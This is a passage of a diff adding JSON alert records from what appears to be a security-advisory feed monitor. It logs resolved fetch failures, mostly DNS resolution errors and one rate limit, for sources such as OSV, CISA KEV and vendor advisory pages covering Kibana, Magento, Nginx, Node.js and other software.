+ "summary": "joomla::OSV Joomla::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "kibana::Elastic Security Announcements RSS",
+ "system_id": "kibana",
+ "display_name": "Kibana",
+ "source_name": "Elastic Security Announcements RSS",
+ "source_kind": "rss-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:14:27+00:00",
+ "resolved_at": "2026-03-22T01:14:27+00:00",
+ "failure_streak": 2,
+ "last_category": "rate_limit",
+ "last_failure": {
+ "system_id": "kibana",
+ "display_name": "Kibana",
+ "source_name": "Elastic Security Announcements RSS",
+ "source_kind": "rss-feed",
+ "source_bucket": "official_sources",
+ "category": "rate_limit",
+ "exception": "HTTPError",
+ "message": "429 Client Error: Too Many Requests for url: https://discuss.elastic.co/c/announcements/security-announcements/31.rss",
+ "status_code": 429,
+ "url": "https://discuss.elastic.co/c/announcements/security-announcements/31.rss",
+ "summary": "kibana::Elastic Security Announcements RSS::rate_limit::429 Client Error: Too Many Requests for url: https://discuss.elastic.co/c/announcements/security-announcements/31.rss",
+ "elapsed_seconds": 5.209
+ }
+ },
+ {
+ "alert_id": "koa::OSV Koa",
+ "system_id": "koa",
+ "display_name": "Koa",
+ "source_name": "OSV Koa",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "koa",
+ "display_name": "Koa",
+ "source_name": "OSV Koa",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "koa::OSV Koa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "laravel::OSV Laravel",
+ "system_id": "laravel",
+ "display_name": "Laravel",
+ "source_name": "OSV Laravel",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "laravel",
+ "display_name": "Laravel",
+ "source_name": "OSV Laravel",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "laravel::OSV Laravel::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "magento-open-source::Magento GitHub Advisories",
+ "system_id": "magento-open-source",
+ "display_name": "Magento Open Source",
+ "source_name": "Magento GitHub Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "magento-open-source",
+ "display_name": "Magento Open Source",
+ "source_name": "Magento GitHub Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/magento/magento2/security/advisories",
+ "summary": "magento-open-source::Magento GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "magento-open-source::OSV Magento Open Source",
+ "system_id": "magento-open-source",
+ "display_name": "Magento Open Source",
+ "source_name": "OSV Magento Open Source",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "magento-open-source",
+ "display_name": "Magento Open Source",
+ "source_name": "OSV Magento Open Source",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "magento-open-source::OSV Magento Open Source::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "magento-open-source::Sansec Research",
+ "system_id": "magento-open-source",
+ "display_name": "Magento Open Source",
+ "source_name": "Sansec Research",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "magento-open-source",
+ "display_name": "Magento Open Source",
+ "source_name": "Sansec Research",
+ "source_kind": "html-links",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://sansec.io/research",
+ "summary": "magento-open-source::Sansec Research::network::HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "mattermost::Mattermost Security Updates JSON",
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "source_name": "Mattermost Security Updates JSON",
+ "source_kind": "json-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "source_name": "Mattermost Security Updates JSON",
+ "source_kind": "json-feed",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://securityupdates.mattermost.com/security_updates.json",
+ "summary": "mattermost::Mattermost Security Updates JSON::network::HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "mattermost::OSV Mattermost",
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "source_name": "OSV Mattermost",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "source_name": "OSV Mattermost",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "mattermost::OSV Mattermost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "mediawiki::MediaWiki Announce RSS",
+ "system_id": "mediawiki",
+ "display_name": "MediaWiki",
+ "source_name": "MediaWiki Announce RSS",
+ "source_kind": "rss-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "mediawiki",
+ "display_name": "MediaWiki",
+ "source_name": "MediaWiki Announce RSS",
+ "source_kind": "rss-feed",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://lists.wikimedia.org/hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/",
+ "summary": "mediawiki::MediaWiki Announce RSS::network::HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "mediawiki::OSV MediaWiki",
+ "system_id": "mediawiki",
+ "display_name": "MediaWiki",
+ "source_name": "OSV MediaWiki",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "mediawiki",
+ "display_name": "MediaWiki",
+ "source_name": "OSV MediaWiki",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "mediawiki::OSV MediaWiki::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "medusa::OSV Medusa",
+ "system_id": "medusa",
+ "display_name": "Medusa",
+ "source_name": "OSV Medusa",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "medusa",
+ "display_name": "Medusa",
+ "source_name": "OSV Medusa",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "medusa::OSV Medusa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "moodle::OSV Moodle",
+ "system_id": "moodle",
+ "display_name": "Moodle",
+ "source_name": "OSV Moodle",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "moodle",
+ "display_name": "Moodle",
+ "source_name": "OSV Moodle",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "nestjs::OSV NestJS",
+ "system_id": "nestjs",
+ "display_name": "NestJS",
+ "source_name": "OSV NestJS",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "nestjs",
+ "display_name": "NestJS",
+ "source_name": "OSV NestJS",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "nestjs::OSV NestJS::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "nextjs::OSV Next.js",
+ "system_id": "nextjs",
+ "display_name": "Next.js",
+ "source_name": "OSV Next.js",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "nextjs",
+ "display_name": "Next.js",
+ "source_name": "OSV Next.js",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "nextjs::OSV Next.js::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "nginx::CISA KEV NGINX",
+ "system_id": "nginx",
+ "display_name": "Nginx",
+ "source_name": "CISA KEV NGINX",
+ "source_kind": "kev-json",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "nginx",
+ "display_name": "Nginx",
+ "source_name": "CISA KEV NGINX",
+ "source_kind": "kev-json",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "summary": "nginx::CISA KEV NGINX::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "nginx::NGINX Security Advisories",
+ "system_id": "nginx",
+ "display_name": "Nginx",
+ "source_name": "NGINX Security Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "nginx",
+ "display_name": "Nginx",
+ "source_name": "NGINX Security Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://nginx.org/en/security_advisories.html",
+ "summary": "nginx::NGINX Security Advisories::network::HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "nodejs::CISA KEV Node.js",
+ "system_id": "nodejs",
+ "display_name": "Node.js",
+ "source_name": "CISA KEV Node.js",
+ "source_kind": "kev-json",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "nodejs",
+ "display_name": "Node.js",
+ "source_name": "CISA KEV Node.js",
+ "source_kind": "kev-json",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "summary": "nodejs::CISA KEV Node.js::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "nodejs::Node.js Security Releases",
+ "system_id": "nodejs",
+ "display_name": "Node.js",
+ "source_name": "Node.js Security Releases",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "nodejs",
+ "display_name": "Node.js",
+ "source_name": "Node.js Security Releases",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://nodejs.org/en/blog/vulnerability",
+ "summary": "nodejs::Node.js Security Releases::network::HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "nuxt::OSV Nuxt",
+ "system_id": "nuxt",
+ "display_name": "Nuxt",
+ "source_name": "OSV Nuxt",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "nuxt",
+ "display_name": "Nuxt",
+ "source_name": "OSV Nuxt",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "nuxt::OSV Nuxt::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "opencart::OSV OpenCart",
+ "system_id": "opencart",
+ "display_name": "OpenCart",
+ "source_name": "OSV OpenCart",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "opencart",
+ "display_name": "OpenCart",
+ "source_name": "OSV OpenCart",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "opencart::OSV OpenCart::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "opencart::OpenCart Releases",
+ "system_id": "opencart",
+ "display_name": "OpenCart",
+ "source_name": "OpenCart Releases",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "opencart",
+ "display_name": "OpenCart",
+ "source_name": "OpenCart Releases",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/opencart/opencart/releases",
+ "summary": "opencart::OpenCart Releases::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "openmage::OSV OpenMage",
+ "system_id": "openmage",
+ "display_name": "OpenMage / Mage-OS",
+ "source_name": "OSV OpenMage",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "openmage",
+ "display_name": "OpenMage / Mage-OS",
+ "source_name": "OSV OpenMage",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "openmage::OSV OpenMage::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "openmage::OpenMage GitHub Advisories",
+ "system_id": "openmage",
+ "display_name": "OpenMage / Mage-OS",
+ "source_name": "OpenMage GitHub Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "openmage",
+ "display_name": "OpenMage / Mage-OS",
+ "source_name": "OpenMage GitHub Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/OpenMage/magento-lts/security/advisories",
+ "summary": "openmage::OpenMage GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
